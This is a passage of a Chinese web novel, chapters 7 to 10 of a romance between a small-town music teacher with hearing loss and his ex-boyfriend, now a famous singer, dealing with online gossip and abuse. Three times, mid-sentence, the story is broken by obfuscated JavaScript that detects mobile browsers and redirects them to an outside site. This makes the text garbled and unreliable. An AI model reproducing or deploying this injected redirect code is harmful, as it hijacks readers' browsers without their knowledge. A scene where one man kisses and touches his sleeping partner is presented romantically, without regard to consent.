夏老师:“虽然不确定视频里的神秘男子是不是易深的前男友,但你看他的衣着打扮跟杨老师明显不是一个风格的,而且两个人的身形完全不一样诶。” 廖老师疯狂点头:“我同意。” 杨老师听到自己的名字,笑眯眯地凑过来:“你们在说啥?” 夏老师面不改色地笑道:“我们在说杨老师今天跟平时完全不一样,是不是剪头发了?这次找的发型师不错诶,在哪里剪的?” 陈屿看着杨老师万年不变的发型,保持沉默。 杨老师果然被哄得合不拢嘴,一直在说要给夏老师介绍那家理发店。 夏老师好不容易把人哄了回去,一言难尽地看着陈屿说道:“你说这视频里的神秘男子跟你长得像还差不多。” 陈屿的心咯噔了下,连忙摇头:“不像啊,哪里像了?” 廖老师听到这句话,认真地打量了陈屿一眼,说道:“你还别说,真的很像。” 夏老师:“可惜视频里面的人戴了帽子和口罩根本看不清他的脸,不过身形什么的跟陈老师真的很像。” 廖老师:“尤其是他的声音,跟陈老师几乎一模一样。” 陈屿一口气堵在喉咙里,不上不下的,心虚得不行:“我又不是易深的粉丝,怎么可能去看他的演唱会。” 廖老师:“说的也是哈,陈老师2G冲浪小老头,恐怕连易深是谁都不知道,更别说去看演唱会了,说不定连门票在哪里抢都不知道。” 陈屿还真不知道:“在哪里抢?” 廖老师看了一眼夏老师,笑道:“你看,我就说那内场的票价最少都得两三千,二排的位置黄牛都炒上万了,陈老师怎么可能会把钱放在一个他不认识的歌手身上。” 陈屿很肯定地点了点头:“还是廖老师懂我,但有一点廖老师说错了。” 廖老师:“什么?” 陈屿严肃地说道:“就算是我认识的歌手,我也不会花两三千去买演唱会的门票。” 毕竟他一穷二白月光族,身上没两个子,怎么会花这小半个月工资去看演唱会,那都等于他一台助听器要花的钱了! 廖老师哭笑不得:“好吧。” 成功忽悠了两位老师之后,确定她们没有将自己当作怀疑目标之后,陈屿才放下心来,他悄悄打开微博看了下两位老师所说的热搜话题。 #2排28号易深的前男友 点进话题第一条动态就是夏老师发给他的那个视频,转发评论点赞都超十万了热度了。 有粉丝占前排来做数据的,有吃瓜路人来看戏的,也有黑子留下的大量负面评论。 [易深真是gay啊?] [卧槽,真恶心。] 这样的评论很多,陈屿看得心惊肉跳,他拿着手机来到楼道口,给易深打了个电话,想到自己有可能会被认出来,他的语气不是很好,凶巴巴的:“你快点把热搜撤掉。” 易深像是刚睡醒,声音有些沙哑:“怎么了?” 陈屿恼怒地说道:“你干嘛要点赞那个视频,他们现在都觉得视频里面的人就是你的前男友。” 易深:“需要我澄清一下吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322669|183160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >陈屿:“你最好是。” 易深:“你愿意公开我们的恋情?” “???”陈屿扶额,咬牙切齿地说道:“你在胡说什么啊?我是让你撤掉热搜,顺便澄清一下你是手滑点的赞。” 易深不情不愿地嘟囔了句:“我还以为你是让我澄清,你不是我的前男友,我们没有分手。” 陈屿默默地说了句:“十年不联系,不算默认分手吗?” “不算。”易深的情绪有些激动:“那是你单方面分手,我没同意,所以我们现在还是恋爱关系。” 陈屿不知道该回他什么,其实在他心里,他们已经分开了十年。 或许他们彼此相爱,但陈屿还没做好恋爱的准备,或者说,他就没准备再谈恋爱,在他的计划里,是开个小店,养只猫,独自走完这一生。 哪怕跟易深重逢后,他也没想过会跟易深复合。 两人陷入了短暂的沉默,陈屿还没想好要怎么回话的时候,易深忽然开口:“陈屿,你是不是打算不要我了?” 他的声音听起来很难过,像是要碎掉了。 陈屿想都没想直接否认了他这句话:“没有啊,我没有这样想,易深。” 只是他想的是,他们就算做不了恋人,也会是很亲密的朋友。 易深的声音微微颤抖,像是在极力克制着自己的悲伤,哽咽道:“你怎么可以又一次丢下我。” 陈屿瞬间红了眼眶,温热的泪珠大颗大颗从脸上掉落,他吸了吸鼻子,缓缓开口:“易深,我们不是18岁一无所有的孩子了,分开这十年,我们都有了不一样的人生,我们之间……” “你是当红顶流,你站在聚光灯之下。” “而我,只是小县城里的音乐老师,一个普通的小市民。” “我有些害怕。” “我们的生活环境、生活的方式,甚至是生活的节奏都不一样。” “我没有信心被曝光在大众的眼皮底下,接受网民的审判。” 他年少时,曾跟易深许下诺言,要和他一起闯荡娱乐圈。 那时他太年轻了,什么都不懂,只觉得有梦想难能可贵,可时至今日,他早已被磨平了棱角。 少年心气是不可再生之物。 易深:“那我退圈好不好,我们去过你想要的生活。” 陈屿揉了揉眉心:“你怎么能这么轻易说出这句话,你的粉丝呢,你的工作呢,你的经纪人呢,你的公司呢?” 易深:“所以这些年我一直很努力工作,我早就有过退圈的想法了,他们一直都知道。” 陈屿:“那你的粉丝呢,你这个时候退圈,他们不得找我出来把我撕碎?” 易深:“我们去国外生活好不好?或者去更偏远的城市,只要和你在一起,无论是哪里都可以。” 陈屿沉默。 他17岁的时候怎么没发现易深竟然还是个恋爱脑。 无奈之下,他只好搬出一句:“你出柜对你没有任何好处。” 易深:“在我入行没多久,我已经向大众公开出柜了。” 陈屿:“……” 真是所有路都被他堵死了。 易深:“我今晚去找你好不好?” 陈屿微微皱眉:“你没有工作吗?” 艺人不应该都是很忙的吗? 易深把经纪人给他的安排的工作一一推掉,很肯定地回答了句:“我目前没有任何工作安排。” 陈屿犹犹豫豫地说了句:“我很忙的。” 他下午还有课呢! 易深:“我好想你。” 陈屿无奈地叹了口气:“不是昨晚才见过面吗?” “我还有很多话想对你说,但你把我赶走了。”易深的语气中带了点哀怨的味道。 陈屿轻咳一声,想要掩饰自己的尴尬:“太晚了,而且我今天早上确实有课。” 易深还想为自己争取一下。 陈屿深吸一口气,轻声道:“易深,你乖一点。” 他没有想过跟易深的重逢会是这样,在他的想象中,易深应该是很生气,哪怕他有好好解释,但易深还是没办法原谅他,所以他们最终不欢而散又或者是遗憾退场。 但易深想的跟他不一样,在他们重逢的那一刻开始,易深只想呆在他的身边,只想紧握着他的手。 易深抿了抿唇,小声说道:“你的身份证还在我这里。” 陈屿握着手机的手微微蜷缩着,他坐在楼道口,看着阳光洒落在窗前的一道道光影,忽然想起他曾经也跟易深像现在这样,靠坐在楼梯上,肆无忌惮地拥吻。 “好,易深,你来找我吧。” 8. 第 8 章 挂完电话之后,陈屿来到窗前,把窗户打开。 微风徐徐吹进来,拂过他的脸颊。 校道两旁的梧桐树随着深秋时节的到来,树叶开始泛黄。 陈屿伸出手,温暖的阳光落在他的手心。 在冬天到来之前,他终于寻回了丢失已久的至宝。 午休的时候,陈屿一直在翻看易深的微博。 早上那条“易深前男友”的话题已经从热搜撤了下来。 可让陈屿没想到的是,另一条“易深出柜”的话题正悄悄地往上爬。 他好奇地点了进去,终于看到了易深刚才在电话里跟他所说的“向大众出柜”是什么意思了。 视频里的易深满脸青涩,面对摄像头时还有些紧张。 虽然当时的他在乐坛里小有名气,但他在娱乐圈里不过是刚出道两年的新人。 节目的主持人有心想挫挫他的锐气,故意选了一些比较敏感的话题刁难他。 主持人:“出道就横扫各大音乐软件力压各位乐坛前辈登顶热搜榜第一,是什么感觉?” “感谢各位歌迷的托举,希望能创作出更多更好的作品回馈他们对我的这份喜爱。”易深回答得滴水不漏,没有让主持人给他埋坑的机会。 主持人微微一笑:“说起来你还是被粉丝戏称为‘娱乐圈活人’的艺人,大家都很想知道你早期的微博动态到底发生了什么,粉丝们都说你的歌是写给前女友的,还笑说你是对前女友念念不忘才写下这么多关于失恋的歌曲,这个问题方便回答吗?” 原本这个问题是主持人给他挖坑的,没想到易深却坦坦荡荡地回答了他这个问题: “是写给喜欢的人。” “但我纠正一下,不是前女友,他是一个很优秀的男生。” 霎时间,演播室一片安静,连主持人都怔在那里,看着易深久久没有回神。 节目组为了流量自然不会把这个镜头删减掉,甚至还利用“易深出柜”作为话题热度营销。 而热搜的这条视频就是当年节目组的剪辑切片。 陈屿看完之后,万般复杂的情绪涌上心头,久久未能平静下来。 如果他站在易深同样的位置,他都不一定能像易深这样坦坦荡荡承认他的性向。 看着那10万+的评论,他深吸一口气,点了进去。 [考古党,当时易深的《告白》红遍大江南北,力压乐坛众多优秀的创作者登顶各大音乐软件热搜榜榜首,没想到在这个时候会公开出柜。] [当时易深已经出道两年了,他素人时期的账号是被粉丝扒出来的,有段时间大家都说他是恋爱脑,没想到他不仅没注销,还直接认证了他的身份。] [很多人都不知道“情歌王”在早期是个贬义词,是因为大家觉得他真的很恋爱脑,嘲讽他的,没想到最后他居然把这个词变成了褒义词,现在大家是真的在夸他情歌王了。] [当时他出柜可以说是全网黑了,大家都以为他是疯了,恋爱脑实锤。] [我都以为他要被网曝到退出娱乐圈了,但是他没有,没过几天还出了新专辑。] [那时候我就在现场,我们这些粉丝都准备好跟黑子大战,受万人嘲了,结果工作室很给力,一天到晚忙着告黑,易深醉心创作,根本就不在意黑子说的什么,新专辑一出来就霸占了各大排行榜榜首,反而是好些个黑子被气得退网了。] [其实从易深发表过的动态和他的歌词里就可以看出来,他喜欢的人一定是极好的,虽然不知道为什么现在分开了,有点可惜吧。] 陈屿厚着脸皮给这条评论点了个赞,能让易深念念不忘的,当然是各方面都是很优秀的人。 只可惜他的好心情并没有持续很久,评论翻到后面越来越多历史残留的负面评论,也就是评论区里面提到过的“腥风血雨”现场。 [如果前男友是个极好的人,那你们哥哥为什么还会被甩,是不是从侧面就可以说明你们哥哥做了什么对不起他的事,才会分开。] [而且很有意思的是,他说的是喜欢的人,又没否认他被甩。] [粉丝别破防啊,好好想想你们哥哥为什么会被甩吧?] 这条评论底下还有不少黑子附和,简直就是黑子们的狂欢。 [是啊,说不定他被甩是因为出轨了呢,谁知道啊。] [能不能别再立深情人设了,真的很恶心,被甩还不能说明一切吗?] 这两条评论甚至是一分钟前的,陈屿看得火气都来了,他回了句:易深也是极好的人,不然他怎么会等一个人等了十年,不知全貌不予置评,懂吗?闭嘴! 没过多久,那人就回复了他:你这么护着易深,你是不是也搞同性恋啊? 黑子看见他账号显示男性,开始抨击他也是同性恋,开始说他暗恋易深,说一些更粗鄙难听的话。 气得陈屿一个午休的时间都在跟黑子吵架。 他无法想象易深这些年都是怎么过来的。 这些负面评论,和无厘头的造谣,沉沉地压在身上,他光是跟这些人斗嘴,他就气得头晕脑胀了,恨不得顺着网线爬过去给他两刀。 不知道当时的易深是怎么顶住网曝的压力成功在乐坛站稳了脚跟。 他觉得很遗憾,没有看着易深从小透明一步步走到如今天王的位置。 如果他当时能陪着易深,想到这里,他忽然想起易深昨晚对他说的那句话:在他最需要的时候易深没有陪在他身旁。 可他又何尝不是在易深最需要他的时候,没有出现在易深身旁。 陈屿长舒一口气。 可他又想,如果当时易深真的陪在他身边...易深甚至会放弃他的音乐梦想陪在自己身边。 这不是他想要的结果,他不希望成为易深的负担。 或许他会有那么一点点遗憾,但是他们之间,只要有一个能实现当初的梦想就足够了。 …… …… 陈屿以一己之力大战黑粉这件事在易深的粉丝群传开了,因为他维护易深且坚定站在易深这边被热情的粉丝邀请进了群。 吓得陈屿连忙去修改了他的账号资料,确认披上层层马甲之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322670|183160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后才进了粉丝群。 他才不是什么易深的粉丝,他只不过是好奇粉丝群到底是个什么存在而已。 易深的粉丝对他的到来很欢迎,并且很认可他的战斗力,还给他科普了易深的对家,还有这些黑子是哪家披的皮等等。 在他跟其他粉丝混熟之后,暗戳戳地问了句:你们不介意易深出柜吗? [为什么会介意,我是歌迷,只要他该税的税,不该睡的别睡,道德三观在线,他的私人感情我觉得没什么好介意的。] [他是出柜不是出轨,而且十年真的很长情了,我觉得他很好。] [易深一直在拿作品说话啦,其实他的事业心很重,这么多年过去,他早就拿遍了大大小小的奖项,实现音乐领域上的大满贯,事业粉狂欢,还有什么不满足的,就算他现在公开恋情,我也只会拍手叫好!] [我只希望他能过得幸福。] [易深的歌听起来真的很emo很苦,我倒是很期待他能跟那个神秘前男友复合,希望他能写几首甜甜的歌,我再也不想深夜网抑云啦。] 陈屿倒是没想到,会在粉丝嘴里得到这样的答案。 陈屿突然有些感慨,成为艺人也没有他想象中那么轻松和简单。 艺人的一举一动,都被观众看在眼里,要是不小心说错了几句话,可能会掀起一阵腥风血雨。 年少时,他只觉得能成为歌手站在舞台上唱歌,拥有一群喜爱他的歌迷是世界上最幸福的事。 现在的他反而会觉得被这么多人喜欢也是一种负担,他要每时每刻都保持着在粉丝心里接近完美的形象,端着一副偶像的样子,活得真累。 自从他的耳道受损之后,他不再对音乐敏感。 一个想要做音乐的人失去听觉是种什么样的体验? 陈屿自嘲地笑了笑,那就跟舞蹈演员摔断了腿无法再跳舞一样吧。 所以他被迫放弃了梦想。 追求音乐对他来说变成了奢侈。 现在的他只是小县城里教六年级音乐的普通老师。 也没什么不好的。 他的工作比较清闲,也没有什么压力。 和同事之间相处得很好。 或许是可怜他是残疾人吧,大家对他很宽容。 下午三点四十分。 最后一节课上完,陈屿伸了下懒腰。 他今晚不想再吃泡面了,把前天没做好的大盘鸡重新做一下。 菜市场距离他住的小区很近,他买了点菜还买了点水果,刚回到小区门口,他就在附近看到了那辆熟悉的车。 在陈屿走近之后,易深迅速从车里下来,一脸委屈地看着他。 陈屿:“???” 他看着易深有一种奇怪的萌感,就像看见了一条垂头丧气的大狗在他面前耸着尾巴。 易深戴着口罩和棒球帽,低垂的眉眼看起来有几分可怜,握着他的手轻轻摇晃,“能不能把你家的钥匙给我,坐在车里会被人发现。” 陈屿仿佛看见他身后那条尾巴使劲地摇了摇。 有点可爱。 9. 第 9 章 陈屿从房间的柜子里翻出来一条备用钥匙,看着易深乖乖地坐在他的小沙发上,很有rua一把的冲动,他把钥匙塞到易深手心里,叮嘱道:“备用钥匙就一条,你可别弄丢了。” 易深握紧了手心里的钥匙,在陈屿离开时拽住了他的手腕:“要去哪里?” 陈屿眉梢微挑,唇边浮现一抹轻浅的笑容:“这么黏人啊。” 这种奇怪的萌感又来了,他感觉易深现在就像没有安全感的大狗,恨不得黏在他身边。 他好像能理解易深现在的心情,对上易深专注而炙热的目光,陈屿轻叹一声,心脏像被针扎了一下,留下一道细微的伤痕。 棒球帽将易深的刘海压得乱七八糟的,却仍然掩盖不住他的帅气,陈屿帮他把翘起来的头发一一捋顺。 看着易深乖巧的模样,蓦地笑了下,他怎么有种给大狗顺毛的感觉。 他捏了捏易深的脸蛋,忍不住道:“真乖。” 易深双手环住他的腰身,将他往怀里带了带,拉近了两人的距离。 他的目光赤诚,眼神里翻涌着炽热又浓烈的爱意。 陈屿心尖一颤,捧着他的脸的双手忍不住轻轻摩挲着他柔软的薄唇。 他只要稍微低一下头... “你吃晚饭了吗?”陈屿深吸一口气,收回了落在易深脸上的手,转身打算往厨房的方向走去。 只是还没等他踏出第一步,就被易深拽住了他的手腕,还没等他来得及反应,易深的吻已经落在了他的唇角。 陈屿瞳孔微微放大,剧烈的心跳声萦绕耳边。 “扑通扑通——” 像在他心里炸开了一朵又一朵的烟花。 四目相对,陈屿仿佛在易深的瞳孔里清晰地看见了自己的倒影。 就在易深抚上他的脸颊打算加深这个吻的时候,陈屿用力地将他推开,小脸通红,羞恼地瞪了他一眼,“我要做饭了。” 他前脚进了厨房,易深后脚就跟了上来,站在他身后,亲昵地搂着他的腰蹭了蹭。 厨房的活动空间很小,勉强能容纳下两个人,易深黏在他的身后,两人挨得极近,陈屿闻到了他身上那股淡淡的香水味道,清爽中夹杂着微甜,很好闻。 他刚打开水龙头,易深就夺过了他手里的菜,说道:“我来吧,你的伤口暂时还不能碰到水。” 他的嗓音干净清透,带着淡淡的凉意,落在陈屿的耳边,酥酥麻麻的感觉分外撩人,他忽然明白为什么有些歌迷这么执着易深的嗓音了。 易深的下巴抵在他的肩膀上,双手穿过他的胸膛,整个人像趴在他的身上。 陈屿无声地叹了口气,从他怀里钻了出来,给他戴上围裙,叮嘱他:“好好努力,今晚能不能吃得上饭就看你的了。” 易深顿了顿,看着手里的青菜似乎在想着要怎么处理。 陈屿拿起一根青瓜拍了拍他的手背,调侃道:“所以你会炒菜吗?” 他记得易深可是五谷不分的大少爷,他以前住在连城时,家里有阿姨做菜,他现在成了当红明星,也有生活助理照顾他的衣食起居,他估计都没机会下过厨。 “不会。”易深扭头看着他,目光染上几分笑意:“所以陈老师可以教教我吗?” 陈屿微微一怔,听着这声“陈老师”差点没反应过来。 看着易深微微扬起的唇角,他总感觉易深是故意这样喊他的。 他的心神微乱,轻咳一声掩饰自己的不自在,倚在洗手池边上,教他怎么备菜。 因为易深是个纯新手,光是把配菜准备好,把所有食材处理干净,就花去了不少时间,他们回来的时候太阳才开始下山,现在外面的天色已经全黑了。 陈屿拿着一根葱时不时敲打他一下,假装一副懊恼的样子嘲笑他:“你好笨哦。” “我会努力的。”易深表现得十分坦荡,丝毫没有为自己的笨拙感到害臊,甚至还会调侃他一声“陈老师”。 超市买的鸡肉是剁开了的,但是陈屿不喜欢吃鸡皮,所以还要另外把鸡皮去掉,易深一边处理鸡皮,一边暗戳戳地教育他:“用刀的时候不能分心,要小心自己的手。” 陈屿白了他一眼,他之所以会分心切到自己的手还不是因为易深。 从起锅烧油到把菜装盘,整个过程都是陈屿手把手教的,所以味道不会出错。 陈屿尝了一小块, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322671|183160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满意地点了点头:“你可以出师了。” 易深拿出手机拍了好几张照片。 陈屿顿时警觉起来:“你想干嘛?发朋友圈还是微博?” 易深:“不能发微博吗?” 陈屿:“当然不可以!放弃你那个危险的想法!” 易深的脸色瞬间垮掉,一副闷闷不乐的样子。 陈屿:“为什么要发微博?” 易深过了很久才说了句:“想发给你看,想让你知道我的想法,想跟大家炫耀我的男朋友。” 陈屿愣了好几秒,心里充斥着一股甜滋滋的味道,他夹了一块肉放到易深的碗里,缓缓说道:“我可以接受我们不在同一个城市工作,只要能经常见面,哪怕是异地恋也没关系,我知道你的工作很忙,我们在一起肯定是聚少离多,我暂时没有辞职的想法,我现在的工作很稳定,生活也很稳定,我不想因为跟你谈恋爱生活变得鸡飞狗跳,你明白吗?” 易深:“我的工作不忙,我们可以经常在一起,或者我搬来榆城...” “你先听我说。”陈屿打断了他,神情严肃:“你是艺人,或许你已经习惯生活在聚光灯之下,但我只是个普通人,我还没做好公开恋情被大众舆论的准备,你明白了吗?” “你不想公开恋情我们就不公开。”易深低着头用筷子拨弄着碗里的鸡肉,声音沉沉的,情绪很低:“只要你别把我丢下就好。” 陈屿又给他夹了一块肉,哄道:“嗯,我知道你很乖,所以不要不开心了,我允许你创个微博小号,想怎么发就怎么发,我来做你第一个粉丝好吗?” 易深听完他的话之后迅速创建了一个微博小号,把微博账号ID发到陈屿的微信上,满脸期待地看着他说:“你答应我的,要做我的第一个粉丝。” 陈屿学着他的样子,淡定地注册了一个微博小号,关注了他的小号。 他才不会告诉易深,他的大号不仅关注了他,还混进了他的粉丝群,甚至一挑n个黑子将他们全都怼回去了呢。 看着易深小号发的第一条微博,字里行间满满都是对他的爱意,陈屿哑然失笑。 嗯...恋爱脑,就是易深最好的嫁妆。 10. 第 10 章 [据气象台预报,受冷空气影响,最低气温持续到八度……] 随着冷空气的到来,榆城正式踏入了初冬的时节。 外面的天气阴沉沉的,仿佛随时都会下一场大雨。 陈屿刚打开家门就被迎面吹来的寒风冷得一哆嗦,趁现在还没下雨,他加快了脚步,匆忙地往学校的方向赶去。 他刚走进办公室,还没等他坐下,天空就开始下起雨来。 这样的阴雨天气特别适合窝在家里睡懒觉,而不是上班来当牛马。 看着陈屿哈欠连连的样子,旁边的夏老师打趣道:“昨晚没睡好啊?” 陈屿微微点头,昨晚易深给他打电话时,他都快睡着了,只能勉强打起精神来陪易深聊了半个小时,最后还是抵挡不住睡意,在易深絮絮叨叨的话语声睡了过去。 他现在严重睡眠不足,很需要再睡个回笼觉。 一旁的廖老师也有点精神不济,“我昨晚也熬夜了,快两点钟才睡着。” 夏老师:“你干啥了?” 廖老师:“在微博冲浪。” 夏老师:“这次又是谁的瓜?” 廖老师:“还是易深的瓜。” 夏老师:“他怎么了?” 陈屿在一旁悄悄竖起了耳朵。 廖老师:“易深的演唱会不是在下个周末嘛,现在各路神仙都在猜测他的前男友会不会来看他的演唱会,也想知道他们现在到底复合了没有,如果复合了,易深怎么没发微博,自从那天手滑点赞之后,易深就没再登录过微博了,大家都在嘲他是不是没把前男友哄回来,还说上次那个神秘男子根本就不是他的前男友,说不定是前男友把票送给别人了,或者卖掉了。” 陈屿忍不住吐槽了句:“网友还真够无聊的。” 夏老师:“陈老师说得对。” 陈屿是一个很容易陷入内耗的人,廖老师说的那番话,让他别扭了一天。 因为是他不允许易深在微博胡说八道,所以易深干脆就不登微博大号了,每次想发什么动态都往小号里发。 起初他只是害怕易深不小心说漏嘴,或者说一些让人误会的话,他怕网友顺着网线就把他的马甲给扒了,却没想这个举动会成为黑粉用来攻击易深的点。 也因为他不愿意公开恋情,所以易深只能被很多不明真相的路人嘲讽。 陈屿不停地刷新着微博的帖子,心里像压了块巨石,沉沉的,让他难以呼吸。 他是不是太胆小、太自私了,把所有事情丢给易深一个人承担,而他只是躲在背后一边享受着易深的爱,一边冷眼旁观他被群嘲。 情绪反扑的每个瞬间都让他感到窒息。 自责、羞愧、迷茫、犹豫的心情让他反复陷入内耗。 陈屿趴在办公桌上,反复地翻看着这段时间易深给他发的信息。 其实距离他和易深上一次见面已经快一个月了,就如他所说的,如果他们要谈恋爱,那必定只能是异地恋。 易深是干娱乐圈这一行的,他们注定是聚少离多。 而且易深的全国巡回演唱会还没结束,除了商务活动以外他还需要排练,偶尔忙的时候,他们一天也聊不上几句话。 对于陈屿而言,就算平时很少联系甚至一个月不见面,他其实并没有什么意见。 或许是他已经习惯了这样独来独往的生活,没有和易深重逢之前,他每天除了工作就是宅在家里,看美食博主的视频学习做饭,追追剧,看看动漫和小说,连周六日也不例外。 所以异地恋什么的,对他来说并没有什么影响。 反而他很享受这种虽然在谈恋爱,但仍然享受单身生活的快乐。 倒是易深对这件事很在意,以他恋爱脑又黏人的性格,异地恋让他很不安。 即使工作再忙也会挤出时间来每天给他打电话,每天出门会给他报备行程,甚至绑定了定位系统,方便他随时查看。 陈屿哭笑不得,他从来没有过易深会出轨的想法。 可是后来,他发现并不是易深担心他会胡思乱想,而是易深自己没有安全感,他会担心工作太忙所以忽略了陈屿的感受,更担心陈屿习惯了没有他的生活,觉得他可有可无,随时会把他给甩了。 想到这里,陈屿的心情格外难受,他不知道他能为易深做点什么。 他点了点易深的头像。 [你拍了拍易深,并亲了他一口。] 陈屿连忙撤回了他的“拍一拍”,知道这是易深专门给他设置的,他又羞又恼的发了好几个生气的表情包。 陈屿:快点改掉!! 陈屿:黄豆发火.jpg 陈屿:菜刀.jpg 陈屿:炸弹.jpg 等了好一会,易深都没有回他的信息,陈屿像个泄了气的皮球,有些萎靡不振。 他想易深了,他现在在干嘛,为什么不回他的信息。 这么黏人的小狗,居然可以忍住一个月不跟他见面。 直到放学的铃声响起,他还是一副死气沉沉的模样,如同窗外灰蒙蒙的天色,困在阴霾里,黯淡无光。 感到有雨水滴落在脸上,陈屿伸出手探了探,喃喃道:“下雨了啊。” 雨势渐渐变大,陈屿快步跑向超市里面躲雨,顺便买菜回家做饭。 他推着购物车,漫无目的地在超市里逛着,不知不觉地就逛到了日常用品的区域,看着货架上琳琅满目的商品,他停下了脚步。 是不是该给易深买双拖鞋放在家里备用? 挑选完鞋子之后,他又到洗漱用品那边的货架看了看,漱口杯、牙刷、洗脸巾,还有睡衣什么的,是不是也该准备一份? 想起易深前两次来家里都待到很晚才走,也有跟他说过想要留宿的意思。 可他家里就一间房,一张床,连客房都没有,他的床也很小,两个人谁在一起太挤了,总不能让易深抱着他睡吧? 而且家里的沙发也很小,根本睡不了人。 他当时无情地拒绝了易深,现在又主动给他准备这些…… 看着购物车里装得满满的生活日用品,陈屿揉了揉眉心,脸上透露出一丝懊恼的神色。 就在他纠结着要不要把东西全部放回原位时,易深的电话打了过来。 “喂。” 听着他充满疲惫的嗓音,易深顿了顿,轻声道:“小屿,下班了吗?” 陈屿“嗯”了声,便没再开口。 此时超市的喇叭开始不停地放着促销广告:玉米两块一条,西红柿三块钱一斤,小台芒七块钱一斤,巨峰葡萄十块钱一斤…… 声音很大,完全盖住了两人的通话声。 气氛陷入了短暂的沉默。 易深:“是在超市吗?” 陈屿推着购物车找到一个相对安静一点的角落,“你刚才说什么?” 易深小心翼翼地说了句:“小屿,我不是故意不回消息的,刚才在录制歌曲,手机没带进录音室。” 陈屿怔了怔,随后笑道:“你怎么会觉得我在生气。” 易深:“因为你的声音听起来很不开心。” 陈屿没有否认这一点:“是很不开心。” 易深:“是因为我的事情吗?” 陈屿靠在购物车上,看着货架上易深代言的商品,轻叹一声:“不是你的问题。” 易深:“所以是我的事情对吗?” 陈屿失笑:“你怎么这么敏感。” 易深:“因为你没否认。” 话音刚落,他又接了句:“对不起,小屿。” 他的声音听起来过分紧张,很没有安全感,就差没说出那句“你别和我说分手”。 陈屿看着拿下一包香菇和鸡肉,笑道:“我明天想炖个鸡汤,你想不想喝?” “好。” 陈屿在挂电话之前还能听见易深惊喜的笑声,仿佛他也被易深的笑声感染,心情也跟着好了起来。 在他走出超市的时候才发现雨停了。 空气里那股潮湿的味道挥之不去,却丝毫没有影响他的好心情。 陈屿拎着两个沉甸甸的购物袋,在经过一家首饰店时,看着橱窗里的对戒,他忽然有种豁然开朗的感觉。 他找到他想要的答案了。 …… …… 陈屿哼着小曲把家里的卫生收拾了一遍,洗手台的漱口杯和牙刷换成新的情侣款,玄关的鞋柜上多了一双同款的拖鞋,新的睡衣也已经洗好烘干叠得整整齐齐放进了衣柜里面,他还换上了新的床铺被褥。 可能是想着明天就能见到易深,他兴奋得睡不着,看了一宿的漫画,直到清晨五点多的时候才有了睡意。 六点的时候,楼上楼下的邻居开始做早饭,砧板剁肉的嘈杂声丝毫不影响陈屿的酣睡,他的助听器早就取了下来放在了床头的柜子上。 下午。 易深打开门进来的时候,就看见了鞋柜上那双陈屿同款的拖鞋,他心里微微一动,把拖鞋换上,尺寸刚刚好。 他去洗手时被置物架上的粉蓝色情侣款漱口杯吸引了目光。 这是陈屿给他准备的吗? 客厅和厨房都没有人,易深轻轻推开了那扇半掩的房门。 厚重的窗帘隔绝了所有光线,房间里静悄悄的,只能听见陈屿浅浅的呼吸声。 易深沿着床边坐了下来,房间的光线昏暗,只能勉强看见陈屿模糊的轮廓线。 他静静地坐了很久,低头嗅了嗅陈屿身上的味道,眼角眉梢都染上了几分愉悦。 他轻轻地触碰着陈屿的脸颊,微凉的指尖沿着他的眉骨一路来到他柔软的嘴唇,指腹反复地碾压着他的下唇瓣。 “嗯...”陈屿的梦呓声让易深顿了顿,随后从他微微张开的嘴唇里探了进去。 湿热的口腔包裹着他的指尖,陈屿无意识地轻吮了一口,易深瞬间变得僵硬起来,渐渐乱了心神。 他捏着陈屿的下巴,低头亲吻着他的嘴唇,忍不住轻轻咬了一口他的唇珠。 “唔。”陈屿皱了皱眉头,睫毛轻颤,在他醒过来时,易深松开了他。 窗帘被缓缓拉开,刺目的光线让陈屿不适地眨了眨眼,看着坐在他床边的易深吓了一跳。 “你什么时候来的?” “你怎么进来的?” “我忘锁门了?” 易深拿出那条备用钥匙在他面前晃了晃,“不记得了吗?” “噢。”陈屿抓了一把乱糟糟的头发,把助听器戴上,又趴回了床上,嘟囔了句:“才几点啊,你怎么这么早就来了。” 随着他翻身的动作,睡衣掀了上去,露出一截纤细的腰。 白得晃眼。 易深死死地盯着他腰窝上的那颗小痣,咽了下口水。 没有听见易深的声音,陈屿又抬起沉重的眼皮看了他一眼,“怎么不说话?现在几点了?” 易深垂眸敛去眼底浓重的欲色,在对上陈屿的目光时又变得温和无害,他不着痕迹挨着陈屿又坐近了些,轻声道:“快四点了。” 陈屿打了个哈欠,朝他伸手:“我的身份证呢?这次不会又忘记了吧?” 前两次易深都打着要还他身份证的幌子来找他,重逢的那次见面,当时有太多话想说,身份证这件事早就被抛之脑后。 上次易深过来的时候就说要给他还身份证,结果人来了榆城,身份证还躺在平江的办公室里。 